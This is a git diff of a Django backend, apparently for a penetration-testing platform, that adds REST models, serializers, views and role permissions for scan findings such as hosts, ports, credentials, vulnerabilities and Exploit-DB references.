a/src/backend/findings/framework/models.py b/src/backend/findings/framework/models.py new file mode 100644 index 000000000..11a3d0cf0 --- /dev/null +++ b/src/backend/findings/framework/models.py @@ -0,0 +1,30 @@ +from typing import Any + +from django.db import models +from executions.models import Execution +from findings.enums import TriageStatus +from framework.models import BaseInput +from security.utils.input_validator import Regex, Validator + + +class Finding(BaseInput): + executions = models.ManyToManyField( + Execution, + related_name="%(class)s", + ) + first_seen = models.DateTimeField(auto_now_add=True) + last_seen = models.DateTimeField(auto_now_add=True) + triage_status = models.TextField(max_length=15, choices=TriageStatus.choices) + triage_comment = models.TextField( + max_length=300, validators=[Validator(Regex.TEXT.value, code="triage_comment")] + ) + + class Meta: + abstract = True + + def get_project(self) -> Any: + return self.executions.first().task.target.project + + @classmethod + def get_project_field(cls) -> str: + return "executions__task__target__project" diff --git a/src/backend/findings/framework/serializers.py b/src/backend/findings/framework/serializers.py new file mode 100644 index 000000000..5774c05f3 --- /dev/null +++ b/src/backend/findings/framework/serializers.py @@ -0,0 +1,21 @@ +from findings.models import OSINT +from rest_framework.serializers import ModelSerializer + + +class FindingSerializer(ModelSerializer): + class Meta: + model = OSINT # It's needed to define a non-abstract model as default. It will be overwritten + fields = ( + "id", + "executions", + "first_seen", + "last_seen", + "triage_status", + "triage_comment", + ) + + +class TriageFindingSerializer(ModelSerializer): + class Meta: + model = OSINT # It's needed to define a non-abstract model as default. It will be overwritten + fields = ("id", "triage_status", "triage_comment") diff --git a/src/backend/findings/framework/views.py b/src/backend/findings/framework/views.py new file mode 100644 index 000000000..2ea523eec --- /dev/null +++ b/src/backend/findings/framework/views.py @@ -0,0 +1,15 @@ +from framework.views import BaseViewSet +from rest_framework.serializers import Serializer + + +class FindingViewSet(BaseViewSet): + triage_serializer_class = None + http_method_names = [ + "get", + "put", + ] + + def get_serializer_class(self) -> Serializer: + if self.request.method == "PUT": + return self.triage_serializer_class + return super().get_serializer_class() diff --git a/src/backend/findings/models.py b/src/backend/findings/models.py new file mode 100644 index 000000000..c432266b6 --- /dev/null +++ b/src/backend/findings/models.py @@ -0,0 +1,395 @@ +from typing import Any, Dict + +from django.db import models +from findings.enums import ( + HostOS, + OSINTDataType, + PathType, + PortStatus, + Protocol, + Severity, +) +from findings.framework.models import Finding +from framework.enums import InputKeyword +from targets.enums import TargetType +from targets.models import Target + +# Create your models here. + + +class OSINT(Finding): + data = models.TextField(max_length=250) + data_type = models.TextField(max_length=10, choices=OSINTDataType.choices) + source = models.TextField(max_length=50, blank=True, null=True) + reference = models.TextField(max_length=250, blank=True, null=True) + + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + if self.data_type in [OSINTDataType.IP, OSINTDataType.DOMAIN]: + return { + InputKeyword.TARGET.name.lower(): self.data, + InputKeyword.HOST.name.lower(): self.data, + InputKeyword.URL.name.lower(): self._get_url(self.data), + } + return {} + + def defect_dojo(self) -> Dict[str, Any]: + return { + "title": f"{self.data_type} found using OSINT techniques", + "description": self.data, + "severity": str(Severity.MEDIUM), + # TODO: Defect-Dojo + # "date": self.last_seen.strftime(DD_DATE_FORMAT), + } + + def __str__(self) -> str: + return self.data + + +class Host(Finding): + address = models.TextField(max_length=30) + # OS full specification + os = models.TextField(max_length=250, blank=True, null=True) + os_type = models.TextField( + max_length=10, choices=HostOS.choices, default=HostOS.OTHER + ) + + filters = [Finding.Filter(TargetType, "address", lambda a: Target.get_type(a))] + + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + return { + InputKeyword.TARGET.name.lower(): self.address, + InputKeyword.HOST.name.lower(): self.address, + InputKeyword.URL.name.lower(): self._get_url(self.address), + } + + def defect_dojo(self) -> Dict[str, Any]: + return { + "title": "Host discovered", + "description": " - ".join( + [field for field in [self.address, self.os_type] if field] + ), + "severity": str(Severity.INFO), + # TODO: Defect-Dojo + # "date": self.last_seen.strftime(DD_DATE_FORMAT), + } + + def __str__(self) -> str: + return self.address + + +class Port(Finding): + host = models.ForeignKey( + Host, related_name="port", on_delete=models.DO_NOTHING, blank=True, null=True + ) + port = models.IntegerField() # Port number + status = models.TextField( + max_length=15, choices=PortStatus.choices, default=PortStatus.OPEN + ) + protocol = models.TextField( + max_length=5, choices=Protocol.choices, blank=True, null=True + ) + service = models.TextField(max_length=50, blank=True, null=True) + + filters = [ + Finding.Filter(int, "port"), + Finding.Filter(str, "service", contains=True, processor=lambda s: s.lower()), + ] + + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + ports = ( + [self.port] + if not accumulated or InputKeyword.PORTS.name.lower() not in accumulated + else [self.port] + accumulated[InputKeyword.PORTS.name.lower()] + ) + output = { + InputKeyword.PORT.name.lower(): self.port, + InputKeyword.PORTS.name.lower(): ports, + InputKeyword.PORTS_COMMAS.name.lower(): [str(p) for p in ports], + } + if self.host: + output.update( + { + InputKeyword.TARGET.name.lower(): f"{self.host.address}:{self.port}", + InputKeyword.HOST.name.lower(): self.host.address, + InputKeyword.URL.name.lower(): self._get_url( + self.host.address, self.port + ), + } + ) + return output + + def defect_dojo(self) -> Dict[str, Any]: + description = f"Port: {self.port}\nStatus: {self.status}\nProtocol: {self.protocol}\nService {self.service}" + return { + "title": "Port discovered", + "description": f"Host: {self.host.address}\n{description}" + if self.host + else description, + "severity": str(Severity.INFO), + # TODO: Defect-Dojo + # "date": self.last_seen.strftime(DD_DATE_FORMAT), + } + + def __str__(self) -> str: + values = [self.host.__str__()] if self.host else [] + values.append(str(self.port)) + return " - ".join(values) + + +class Path(Finding): + port = models.ForeignKey( + Port, related_name="path", on_delete=models.DO_NOTHING, blank=True, null=True + ) + path = models.TextField(max_length=500) + # Status received for that path. Probably HTTP status + status = models.IntegerField(blank=True, null=True) + extra_info = models.TextField(max_length=100, blank=True, null=True) + # Path type depending on the protocol where it's found + type = models.TextField(choices=PathType.choices, default=PathType.ENDPOINT) + + filters = [ + Finding.Filter(PathType, "type"), + Finding.Filter(int, "status"), + Finding.Filter(str, "path", contains=True, processor=lambda p: p.lower()), + ] + + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + output = self.port.parse(accumulated) if self.port else {} + output[InputKeyword.ENDPOINT.name.lower()] = self.path + if self.port: + output[InputKeyword.URL.name.lower()] = self._get_url( + self.port.host.address, self.port.port, self.path + ) + return output + + def defect_dojo(self) -> Dict[str, Any]: + return { + "protocol": self.port.service if self.port else None, + "host": self.port.host.address if self.port else None, + "port": self.port.port if self.port else None, + "path": self.path, + } + + def __str__(self) -> str: + values = [self.port.__str__()] if self.port else [] + values.append(str(self.path)) + return " - ".join(values) + + +class Technology(Finding): + port = models.ForeignKey( + Port, + related_name="technology", + on_delete=models.DO_NOTHING, + blank=True, + null=True, + ) + name = models.TextField(max_length=100) + version = models.TextField(max_length=100, blank=True, null=True) + description = models.TextField(max_length=200, blank=True, null=True) + related_to = models.ForeignKey( + "Technology", + related_name="related_technologies", + on_delete=models.DO_NOTHING, + blank=True, + null=True, + ) + reference = models.TextField(max_length=250, blank=True, null=True) + + filters = [ + Finding.Filter(str, "name", contains=True, processor=lambda n: n.lower()) + ] + + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + """Get useful information from this instance to be used in tool execution as argument. + + Args: + accumulated (Dict[str, Any], optional): Information from other instances of the same type. Defaults to {}. + + Returns: + Dict[str, Any]: Useful information for tool executions, including accumulated if setted + """ + output = self.port.parse(accumulated) if self.port else {} + output.update({InputKeyword.TECHNOLOGY.name.lower(): self.name}) + if self.version: + output.update({InputKeyword.VERSION.name.lower(): self.version}) + return output + + def defect_dojo(self) -> Dict[str, Any]: + description = f"Technology: {self.name}\nVersion: {self.version}" + return { + "title": f"Technology {self.name} detected", + "description": f"{description}\nDetails: {self.description}" + if self.description + else description, + "severity": str(Severity.LOW), + "cwe": 200, # CWE-200: Exposure of Sensitive Information to Unauthorized Actor + "references": self.reference, + # TODO: Defect-Dojo + # "date": self.last_seen.strftime(DD_DATE_FORMAT), + } + + def __str__(self) -> str: + values = [self.port.__str__()] if self.port else [] + values.append(str(self.name)) + return " - ".join(values) + + +class Credential(Finding): + """Credential model.""" + + technology = models.ForeignKey( + Technology, + related_name="credential", + on_delete=models.DO_NOTHING, + blank=True, + null=True, + ) + email = models.TextField(max_length=100, blank=True, null=True) + username = models.TextField(max_length=100, blank=True, null=True) + # Secret (password, key, etc.) if found + secret = models.TextField(max_length=300, blank=True, null=True) + context = models.TextField(max_length=300, blank=True, null=True) + + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + output = self.technology.parse(accumulated) if self.technology else {} + for key, field in [ + (InputKeyword.EMAIL.name.lower(), self.email), + (InputKeyword.USERNAME.name.lower(), self.username), + (InputKeyword.SECRET.name.lower(), self.secret), + ]: + if field: + output[key] = field + return output + + def defect_dojo(self) -> Dict[str, Any]: + return { + "title": "Credentials exposure", + "description": " - ".join( + [field for field in [self.email, self.username, self.secret] if field] + ), + "cwe": 200, # CWE-200: Exposure of Sensitive Information to Unauthorized Actor + "severity": str(Severity.HIGH), + # TODO: Defect-Dojo + # "date": self.last_seen.strftime(DD_DATE_FORMAT), + } + + def __str__(self) -> str: + values = [self.technology.__str__()] if self.technology else [] + values += [field for field in [self.email, self.username, self.secret] if field] + return " - ".join(values) + + +class Vulnerability(Finding): + technology = models.ForeignKey( + Technology, + related_name="vulnerability", + on_delete=models.DO_NOTHING, + blank=True, + null=True, + ) + port = models.ForeignKey( + Port, + related_name="vulnerability", + on_delete=models.DO_NOTHING, + blank=True, + null=True, + ) + name = models.TextField(max_length=50) + description = models.TextField(blank=True, null=True) + severity = models.TextField(choices=Severity.choices, default=Severity.MEDIUM) + cve = models.TextField(max_length=20, blank=True, null=True) + cwe = models.TextField(max_length=20, blank=True, null=True) + osvdb = models.TextField(max_length=20, blank=True, null=True) + reference = models.TextField(max_length=250, blank=True, null=True) + + filters = [ + Finding.Filter(Severity, "severity"), + Finding.Filter(str, "cve", contains=True, processor=lambda c: c.lower()), + Finding.Filter(str, "cwe", contains=True, processor=lambda c: c.lower()), + ] + + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + output = {InputKeyword.CVE.name.lower(): self.cve} + if self.technology: + output.update(self.technology.parse(accumulated)) + elif self.port: + output.update(self.port.parse(accumulated)) + return output + + def defect_dojo(self) -> Dict[str, Any]: + return { + "title": self.name, + "description": self.description, + "severity": Severity(self.severity).value, + "cve": self.cve, + "cwe": int(self.cwe.split("-", 1)[1]) if self.cwe else None, + "references": self.reference, + # TODO: Defect-Dojo + # "date": self.last_seen.strftime(DD_DATE_FORMAT), + } + + def __str__(self) -> str: + values = [] + if self.technology: + values = [self.technology.__str__()] + elif self.port: + values = [self.port.__str__()] + values.append(self.name) + if self.cve: + values.append(self.cve) + return " - ".join(values) + + +class Exploit(Finding): + vulnerability = models.ForeignKey( + Vulnerability, + related_name="exploit", + on_delete=models.DO_NOTHING, + blank=True, + null=True, + ) + technology = models.ForeignKey( + Technology, + related_name="exploit", + on_delete=models.DO_NOTHING, + blank=True, + null=True, + ) + title = models.TextField(max_length=100) + edb_id = models.IntegerField(blank=True, null=True) # Id in Exploit-DB + reference = models.TextField(max_length=250, blank=True, null=True) + + def parse(self, accumulated: Dict[str, Any] = {}) -> Dict[str, Any]: + output = {InputKeyword.EXPLOIT.name.lower(): self.title} + if self.vulnerability: + output.update(self.vulnerability.parse(accumulated)) + elif self.technology: + output.update(self.technology.parse(accumulated)) + return output + + def defect_dojo(self) -> Dict[str, Any]: + return { + "title": f"Exploit {self.edb_id} found" if self.edb_id else "Exploit found", + "description": self.title, + "severity": Severity(self.vulnerability.severity).value + if self.vulnerability + else str(Severity.MEDIUM), + "reference": self.reference, + # TODO: Defect-Dojo + # "date": self.last_seen.strftime(DD_DATE_FORMAT), + } + + def __str__(self) -> str: + """Instance representation in text format. + + Returns: + str: String value that identifies this instance + """ + values = [] + if self.vulnerability: + values += [self.vulnerability.__str__()] + elif self.technology: + values += [self.technology.__str__()] + values.append(self.title) + return " - ".join(values) diff --git a/src/backend/findings/serializers.py b/src/backend/findings/serializers.py new file mode 100644 index 000000000..4b8296dd8 --- /dev/null +++ b/src/backend/findings/serializers.py @@ -0,0 +1,164 @@ +from findings.framework.serializers import FindingSerializer, TriageFindingSerializer +from findings.models import ( + OSINT, + Credential, + Exploit, + Host, + Path, + Port, + Technology, + Vulnerability, +) + + +class OSINTSerializer(FindingSerializer): + class Meta: + model = OSINT + fields = FindingSerializer.Meta.fields + ( + "data", + "data_type", + "source", + "reference", + ) + + +class TriageOSINTSerializer(TriageFindingSerializer): + class Meta: + model = OSINTSerializer.Meta.model + fields = TriageFindingSerializer.Meta.fields + + +class HostSerializer(FindingSerializer): + class Meta: + model = Host + fields = FindingSerializer.Meta.fields + ( + "address", + "os", + "os_type", + "port", + ) + + +class TriageHostSerializer(TriageFindingSerializer): + class Meta: + model = HostSerializer.Meta.model + fields = TriageFindingSerializer.Meta.fields + + +class PortSerializer(FindingSerializer): + class Meta: + model = Port + fields = FindingSerializer.Meta.fields + ( + "host", + "port", + "status", + "protocol", + "service", + "path", + "technology", + "vulnerability", + ) + + +class TriagePortSerializer(TriageFindingSerializer): + class Meta: + model = PortSerializer.Meta.model + fields = TriageFindingSerializer.Meta.fields + + +class PathSerializer(FindingSerializer): + class Meta: + model = Path + fields = FindingSerializer.Meta.fields + ( + "port", + "path", + "status", + "extra_info", + "type", + ) + + +class TriagePathSerializer(TriageFindingSerializer): + class Meta: + model = PathSerializer.Meta.model + fields = TriageFindingSerializer.Meta.fields + + +class TechnologySerializer(FindingSerializer): + class Meta: + model = Technology + fields = FindingSerializer.Meta.fields + ( + "port", + "name", + "version", + "description", + "reference", + "related_to", + "related_technologies", + "vulnerability", + "exploit", + ) + + +class TriageTechnologySerializer(TriageFindingSerializer): + class Meta: + model = TechnologySerializer.Meta.model + fields = TriageFindingSerializer.Meta.fields + + +class CredentialSerializer(FindingSerializer): + class Meta: + model = Credential + fields = FindingSerializer.Meta.fields + ( + "technology", + "email", + "username", + "secret", + "context", + ) + + +class TriageCredentialSerializer(TriageFindingSerializer): + class Meta: + model = CredentialSerializer.Meta.model + fields = TriageFindingSerializer.Meta.fields + + +class VulnerabilitySerializer(FindingSerializer): + class Meta: + model = Vulnerability + fields = FindingSerializer.Meta.fields + ( + "port", + "technology", + "name", + "description", + "severity", + "cve", + "cwe", + "reference", + "exploit", + ) + + +class TriageVulnerabilitySerializer(TriageFindingSerializer): + class Meta: + model = VulnerabilitySerializer.Meta.model + fields = TriageFindingSerializer.Meta.fields + + +class ExploitSerializer(FindingSerializer): + class Meta: + model = Exploit + fields = FindingSerializer.Meta.fields + ( + "vulnerability", + "technology", + "title", + "edb_id", + "reference", + ) + + +class TriageExploitSerializer(TriageFindingSerializer): + class Meta: + model = ExploitSerializer.Meta.model + fields = TriageFindingSerializer.Meta.fields diff --git a/src/backend/findings/urls.py b/src/backend/findings/urls.py new file mode 100644 index 000000000..f1017ffde --- /dev/null +++ b/src/backend/findings/urls.py @@ -0,0 +1,19 @@ +from findings.views import (CredentialViewSet, PathViewSet, + PortViewSet, ExploitViewSet, HostViewSet, + OSINTViewSet, TechnologyViewSet, + VulnerabilityViewSet) +from rest_framework.routers import SimpleRouter + +# Register your views here. + +router = SimpleRouter() +router.register('osint', OSINTViewSet) +router.register('hosts', HostViewSet) +router.register('ports', PortViewSet) +router.register('paths', PathViewSet) +router.register('technologies', TechnologyViewSet) +router.register('vulnerabilities', VulnerabilityViewSet) +router.register('credentials', CredentialViewSet) +router.register('exploits', ExploitViewSet) + +urlpatterns = router.urls diff --git a/src/backend/findings/views.py b/src/backend/findings/views.py new file mode 100644 index 000000000..3f9277aea --- /dev/null +++ b/src/backend/findings/views.py @@ -0,0 +1,170 @@ +from typing import Any + +from drf_spectacular.utils import extend_schema +from findings.enums import OSINTDataType +from findings.filters import ( + CredentialFilter, + ExploitFilter, + HostFilter, + OSINTFilter, + PathFilter, + PortFilter, + TechnologyFilter, + VulnerabilityFilter, +) +from findings.framework.views import FindingViewSet +from findings.models import ( + OSINT, + Credential, + Exploit, + Host, + Path, + Port, + Technology, + Vulnerability, +) +from findings.serializers import ( + CredentialSerializer, + ExploitSerializer, + HostSerializer, + OSINTSerializer, + PathSerializer, + PortSerializer, + TechnologySerializer, + TriageCredentialSerializer, + TriageExploitSerializer, + TriageHostSerializer, + TriageOSINTSerializer, + TriagePathSerializer, + TriagePortSerializer, + TriageTechnologySerializer, + TriageVulnerabilitySerializer, + VulnerabilitySerializer, +) +from rest_framework import status +from rest_framework.decorators import action +from rest_framework.request import Request +from rest_framework.response import Response +from targets.serializers import TargetSerializer + +# Create your views here. + + +class OSINTViewSet(FindingViewSet): + queryset = OSINT.objects.all() + serializer_class = OSINTSerializer + triage_serializer_class = TriageOSINTSerializer + filterset_class = OSINTFilter + search_fields = ["data"] + ordering_fields = ["id", "data", "data_type", "source"] + + @extend_schema(request=None, responses={201: TargetSerializer}) + @action(detail=True, methods=["POST"], url_path="target", url_name="target") + def target(self, request: Request, pk: str) -> Response: + """Target creation from OSINT data. + + Args: + request (Request): Received HTTP request + pk (str): Instance Id + + Returns: + Response: HTTP response + """ + osint = self.get_object() + if osint.data_type in [ + OSINTDataType.IP, + OSINTDataType.DOMAIN, + ]: + serializer = TargetSerializer( + data={"project": osint.get_project().id, "target": osint.data} + ) + if serializer.is_valid(): + target = serializer.create(serializer.validated_data) # Target creation + return Response( + TargetSerializer(target).data, status=status.HTTP_201_CREATED + ) + return Response(serializer.errors, status=status.HTTP_400_BAD_REQUEST) + return Response( + "Target creation is not available for this OSINT data type", + status=status.HTTP_400_BAD_REQUEST, + code="data_type", + ) + + +class HostViewSet(FindingViewSet): + queryset = Host.objects.all() + serializer_class = HostSerializer + triage_serializer_class = TriageHostSerializer + filterset_class = HostFilter + search_fields = ["address", "os"] + ordering_fields = ["id", "address", "os_type"] + + +class PortViewSet(FindingViewSet): + queryset = Port.objects.all() + serializer_class = PortSerializer + triage_serializer_class = TriagePortSerializer + filterset_class = PortFilter + search_fields = ["port", "service"] + ordering_fields = ["id", "host", "port", "status", "protocol", "service"] + + +class PathViewSet(FindingViewSet): + queryset = Path.objects.all() + serializer_class = PathSerializer + triage_serializer_class = TriagePathSerializer + filterset_class = PathFilter + search_fields = ["path", "extra_info"] + ordering_fields = ["id", "port", "port__host", "path", "status", "type"] + + +class TechnologyViewSet(FindingViewSet): + queryset = Technology.objects.all() + serializer_class = TechnologySerializer + triage_serializer_class = TriageTechnologySerializer + filterset_class = TechnologyFilter + search_fields = ["name", "version", "description"] + ordering_fields = ["id", "port", "name", "version"] + + +class CredentialViewSet(FindingViewSet): + queryset = Credential.objects.all() + serializer_class = CredentialSerializer + triage_serializer_class = TriageCredentialSerializer + filterset_class = CredentialFilter + search_fields = ["email", "username", "secret", "context"] + ordering_fields = ["id", "email", "username", "secret"] + + +class VulnerabilityViewSet(FindingViewSet): + queryset = Vulnerability.objects.all() + serializer_class = VulnerabilitySerializer + triage_serializer_class = TriageVulnerabilitySerializer + filterset_class = VulnerabilityFilter + search_fields = ["name", "description", "cve", "cwe", "osvdb"] + ordering_fields = [ + "id", + "technology", + "port", + "name", + "severity", + "cve", + "cwe", + "osvdb", + ] + + +class ExploitViewSet(FindingViewSet): + queryset = Exploit.objects.all() + serializer_class = ExploitSerializer + triage_serializer_class = TriageExploitSerializer + filterset_class = ExploitFilter + search_fields = ["title", "edb_id", "reference"] + ordering_fields = [ + "id", + "vulnerability", + "technology", + "title", + "edb_id", + "reference", + ] diff --git a/src/backend/framework/filters.py b/src/backend/framework/filters.py index 8eaaabcc5..ca7104632 100644 --- a/src/backend/framework/filters.py +++ b/src/backend/framework/filters.py @@ -1,3 +1,5 @@ +from typing import Any, List + from django.db.models import Q, QuerySet from django_filters.rest_framework import FilterSet, filters @@ -21,3 +23,32 @@ def get_liked_items(self, queryset: QuerySet, name: str, value: bool) -> QuerySe """ liked = {"liked_by": self.request.user} return queryset.filter(Q(**liked) if value else ~Q(**liked)).all() + + +class MultipleFieldFilterSet(FilterSet): + def multiple_field_filter( + self, queryset: QuerySet, name: str, value: Any + ) -> QuerySet: + query = Q() + for field in self.fields: + query |= Q(**{field: value}) + return queryset.filter(query) + + +class MultipleFieldFilter(filters.Filter): + def __init__(self, fields: List[str], **kwargs: Any) -> None: + kwargs["method"] = "multiple_field_filter" + super().__init__(**kwargs) + self.fields = fields + + +class MultipleNumberFilter(MultipleFieldFilter, filters.NumberFilter): + pass + + +class MultipleCharFilter(MultipleFieldFilter, filters.CharFilter): + pass + + +class MultipleChoiceFilter(MultipleFieldFilter, filters.ChoiceFilter): + pass diff --git a/src/backend/framework/models.py b/src/backend/framework/models.py index 9cb29b29c..67ec6e745 100644 --- a/src/backend/framework/models.py +++ b/src/backend/framework/models.py @@ -11,7 +11,12 @@ class Meta: abstract = True def get_project(self) -> Any: - return None + filter_field = self.__class__.get_project_field() + if filter_field: + project = self + for field in filter_field.split("__"): + project = getattr(project, field) + return project @classmethod def get_project_field(cls) -> str: diff --git a/src/backend/parameters/models.py b/src/backend/parameters/models.py index 89b2a60b1..d9325e894 100644 --- a/src/backend/parameters/models.py +++ b/src/backend/parameters/models.py @@ -59,14 +59,6 @@ def __str__(self) -> str: base = f"{self.target.__str__()} - {self.name}" return f"{base} - {self.version}" if self.version else base - def get_project(self) -> Project: - """Get the related project for the instance. This will be used for authorization purposes. - - Returns: - Project: Related project entity - """ - return self.target.project - @classmethod def get_project_field(cls) -> str: return "target__project" @@ -115,14 +107,6 @@ def __str__(self) -> str: """ return f"{self.target.__str__()} - {self.cve}" - def get_project(self) -> Project: - """Get the related project for the instance. This will be used for authorization purposes. - - Returns: - Project: Related project entity - """ - return self.target.project - @classmethod def get_project_field(cls) -> str: return "target__project" diff --git a/src/backend/rekono/settings.py b/src/backend/rekono/settings.py index 509513fb3..f0384d3aa 100644 --- a/src/backend/rekono/settings.py +++ b/src/backend/rekono/settings.py @@ -53,6 +53,8 @@ "taggit", "api_tokens", "authentications", + "executions", + "findings", "input_types", "parameters", "processes", @@ -61,6 +63,7 @@ "settings", "target_ports", "targets", + "tasks", "tools", "users", "wordlists", diff --git a/src/backend/rekono/urls.py b/src/backend/rekono/urls.py index 55382b912..29f5338fa 100644 --- a/src/backend/rekono/urls.py +++ b/src/backend/rekono/urls.py @@ -27,6 +27,8 @@ path("admin/", admin.site.urls), path("api/", include("api_tokens.urls")), path("api/", include("authentications.urls")), + path("api/", include("executions.urls")), + path("api/", include("findings.urls")), path("api/", include("parameters.urls")), path("api/", include("processes.urls")), path("api/", include("projects.urls")), @@ -34,6 +36,7 @@ path("api/", include("settings.urls")), path("api/", include("target_ports.urls")), path("api/", include("targets.urls")), + path("api/", include("tasks.urls")), path("api/", include("tools.urls")), path("api/", include("users.urls")), path("api/", include("wordlists.urls")), diff --git a/src/backend/security/authorization/permissions.py b/src/backend/security/authorization/permissions.py index de7031b9c..90f7b5745 100644 --- a/src/backend/security/authorization/permissions.py +++ b/src/backend/security/authorization/permissions.py @@ -1,12 +1,11 @@ from typing import Any -# from processes.models import Process, Step -from wordlists.models import Wordlist +from processes.models import Process, Step from rest_framework.permissions import BasePermission from rest_framework.request import Request from rest_framework.views import View from security.authorization.roles import Role - +from wordlists.models import Wordlist class IsNotAuthenticated(BasePermission): @@ -89,13 +88,10 @@ def get_instance(self, obj: Any) -> Any: # pragma: no cover Returns: Any: Object with creator user """ - instance = None - match obj.__class__: - case Wordlist: # | Process: - instance = obj - # case Step: - # instance = obj.process - return instance + if obj.__class__ in [Wordlist, Process]: + return obj + elif obj.__class__ == Step: + return obj.process def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: """Check if current user can access an object based on HTTP method and creator user. @@ -110,8 +106,8 @@ def has_object_permission(self, request: Request, view: View, obj: Any) -> bool: """ instance = self.get_instance(obj) # Get object with creator user return ( - not instance or - request.method == 'GET' or - instance.owner == request.user or - IsAdmin().has_permission(request, view) + not instance + or request.method == "GET" + or instance.owner == request.user + or IsAdmin().has_permission(request, view) ) diff --git a/src/backend/security/authorization/roles.py b/src/backend/security/authorization/roles.py index bc5b4c001..f823619c8 100644 --- a/src/backend/security/authorization/roles.py +++ b/src/backend/security/authorization/roles.py @@ -42,66 +42,66 @@ class Role(models.TextChoices): "change": [], "delete": [Role.ADMIN, Role.AUDITOR], }, - # "task": { - # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - # "add": [Role.ADMIN, Role.AUDITOR], - # "change": [], - # "delete": [Role.ADMIN, Role.AUDITOR], - # }, - # "execution": { - # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - # "add": [], - # "change": [], - # "delete": [], - # }, - # "osint": { - # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - # "add": [], - # "change": [], - # "delete": [Role.ADMIN, Role.AUDITOR], - # }, - # "host": { - # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - # "add": [], - # "change": [], - # "delete": [Role.ADMIN, Role.AUDITOR], - # }, - # "port": { - # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - # "add": [], - # "change": [], - # "delete": [Role.ADMIN, Role.AUDITOR], - # }, - # "path": { - # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - # "add": [], - # "change": [], - # "delete": [Role.ADMIN, Role.AUDITOR], - # }, - # "technology": { - # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - # "add": [], - # "change": [], - # "delete": [Role.ADMIN, Role.AUDITOR], - # }, - # "vulnerability": { - # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - # "add": [], - # "change": [], - # "delete": [Role.ADMIN, Role.AUDITOR], - # }, - # "credential": { - # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - # "add": [], - # "change": [], - # "delete": [Role.ADMIN, Role.AUDITOR], - # }, - # "exploit": { - # "view": [Role.ADMIN, Role.AUDITOR, Role.READER], - # "add": [], - # "change": [], - # "delete": [Role.ADMIN, Role.AUDITOR], - # }, + "task": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [Role.ADMIN, Role.AUDITOR], + "change": [], + "delete": [Role.ADMIN, Role.AUDITOR], + }, + "execution": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [], + "delete": [], + }, + "osint": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [], + }, + "host": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [], + }, + "port": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [], + }, + "path": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [], + }, + "technology": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [], + }, + "vulnerability": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [], + }, + "credential": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [], + }, + "exploit": { + "view": [Role.ADMIN, Role.AUDITOR, Role.READER], + "add": [], + "change": [Role.ADMIN, Role.AUDITOR], + "delete": [], + }, # "process": { # "view": [Role.ADMIN, Role.AUDITOR], # "add": [Role.ADMIN, Role.AUDITOR], diff --git a/src/backend/security/utils/input_validator.py b/src/backend/security/utils/input_validator.py index a4684e2da..655c9dfdf 100644 --- a/src/backend/security/utils/input_validator.py +++ b/src/backend/security/utils/input_validator.py @@ -7,6 +7,7 @@ from django.core.validators import RegexValidator from django.forms import ValidationError +from django.utils import timezone from framework.fields import StringAsListField from rekono.settings import CONFIG from settings.models import Settings @@ -105,6 +106,19 @@ def __call__(self, value: str | None) -> None: pass +class TimeValidator: + def __init__(self, code: str): + self.code = code + + def future_datetime(self, datetime: Any) -> None: + if datetime <= timezone.now(): + raise ValidationError("Datetime must be future", code=self.code) + + def time_amount(self, amount: int) -> None: + if amount > 1000 or amount <= 0: + raise ValidationError("Time value is too high", code=self.code) + + class PasswordValidator: """Rekono password complexity validator.""" diff --git a/src/backend/target_ports/models.py b/src/backend/target_ports/models.py index 194a78d2c..4e39feeb6 100644 --- a/src/backend/target_ports/models.py +++ b/src/backend/target_ports/models.py @@ -72,14 +72,6 @@ def __str__(self) -> str: """ return f"{self.target.target} - {self.port}" - def get_project(self) -> Project: - """Get the related project for the instance. This will be used for authorization purposes. - - Returns: - Project: Related project entity - """ - return self.target.project - @classmethod def get_project_field(cls) -> str: return "target__project" diff --git a/src/backend/targets/models.py b/src/backend/targets/models.py index e0ca91b6c..860fae776 100644 --- a/src/backend/targets/models.py +++ b/src/backend/targets/models.py @@ -99,14 +99,6 @@ def __str__(self) -> str: """ return self.target - def get_project(self) -> Project: - """Get the related project for the instance. This will be used for authorization purposes. - - Returns: - Project: Related project entity - """ - return self.project - @classmethod def get_project_field(cls) -> str: return "project" diff --git a/src/backend/targets/views.py b/src/backend/targets/views.py index f21c6590d..03930d690 100644 --- a/src/backend/targets/views.py +++ b/src/backend/targets/views.py @@ -20,6 +20,3 @@ class TargetViewSet(BaseViewSet): "post", "delete", ] - - # # Project members field used for authorization purposes - # members_field = "project__members" diff --git a/src/backend/tasks/__init__.py b/src/backend/tasks/__init__.py new file mode 100644 index 000000000..8b1378917 --- /dev/null +++ b/src/backend/tasks/__init__.py @@ -0,0 +1 